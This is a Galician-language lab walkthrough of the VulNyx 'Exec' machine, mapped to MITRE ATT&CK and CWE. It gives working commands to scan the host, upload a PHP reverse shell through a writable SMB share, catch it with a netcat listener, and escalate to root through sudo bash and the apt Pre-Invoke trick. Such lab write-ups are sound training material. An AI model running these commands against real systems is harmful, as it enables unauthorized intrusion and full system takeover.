Exec
Máquina virtual Exec


A máquina Exec é moi interesante porque...
- SMB share con permisos de escritura que apunta a /var/www/html
- Upload de webshell mediante SMB en lugar de HTTP
- Escalada en dous pasos: www-data → [usuario] → root
- Uso de apt con sudo mediante Pre-Invoke
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Exec -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Exec # 22,80,139,445
whatweb IP_VulNyx_Exec
curl -I IP_VulNyx_Exec
Fase 2 — Análise
# Porto 139 → NetBIOS / SMB
# Enumeración de recursos compartidos SMB
enum4linux IP_VulNyx_Exec
# Recurso compartido identificado: Server (con permisos de escritura)
# Conexión ao recurso compartido
smbclient //IP_VulNyx_Exec/Server -N
# smb: \>
# Enumeración do recurso
ls
# Atopamos index.html
# Descarga de index.html
get index.html
# ⇒ Confirmamos que o recurso apunta a /var/www/html
Fase 3 — Explotación
# Descarga de reverse shell PHP (PentestMonkey)
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# Edición da reverse shell
nano shell.php
# Modificamos $ip e $port
# Subida da reverse shell mediante SMB
smbclient //IP_VulNyx_Exec/Server -N
smb: \> put shell.php
# Preparamos listener no atacante
nc -nlvp 4444
# Execución da reverse shell mediante navegador
firefox http://IP_VulNyx_Exec/shell.php &
# ⇒ Conseguimos reverse shell como usuario www-data
Fase 4 — Post‑explotación
# Enumeración de permisos sudo
sudo -l
# User www-data may run the following commands on exec:
# ([usuario]) NOPASSWD: /bin/bash
# Escalada horizontal a usuario [usuario]
sudo -u [usuario] /bin/bash
# ⇒ Conseguimos consola de usuario [usuario] (flag user.txt)
# Nova enumeración de permisos sudo
sudo -l
# User [usuario] may run the following commands on exec:
# (root) NOPASSWD: /usr/bin/apt
# Consulta en GTFOBins(https://gtfobins.github.io/) para apt
# Explotación de apt con sudo
sudo /usr/bin/apt update -o APT::Update::Pre-Invoke::=/bin/sh
# ⇒ Conseguimos shell de root
# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Exec
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Enumeración de recursos compartidos SMB | SMB enumeration | T1021.002 — Remote Services: SMB/Windows Admin Shares T1087 — Account Discovery |
CWE-668 — Exposure of Resource to Wrong Sphere |
| Identificación de recurso compartido con permisos de escritura | Access control enumeration | T1083 — File and Directory Discovery T1135 — Network Share Discovery |
CWE-732 — Incorrect Permission Assignment for Critical Resource | |
| 3. Explotación | Subida de webshell PHP mediante SMB | File upload via SMB | T1505.003 — Server Software Component: Web Shell T1021.002 — Remote Services: SMB/Windows Admin Shares |
CWE-434 — Unrestricted Upload of File with Dangerous Type; CWE-732 — Incorrect Permission Assignment |
| 4. Post-explotación | Escalada horizontal mediante bash con sudo | Lateral movement | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1078.003 — Valid Accounts: Local Accounts |
CWE-269 — Improper Privilege Management |
| Enumeración de permisos sudo como [usuario] | Discovery local | T1069 — Permission Groups Discovery T1083 — File and Directory Discovery |
CWE-200 — Information Exposure | |
| Abuso de apt con sudo para escalada a root | Abuso de mecanismos de elevación | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control |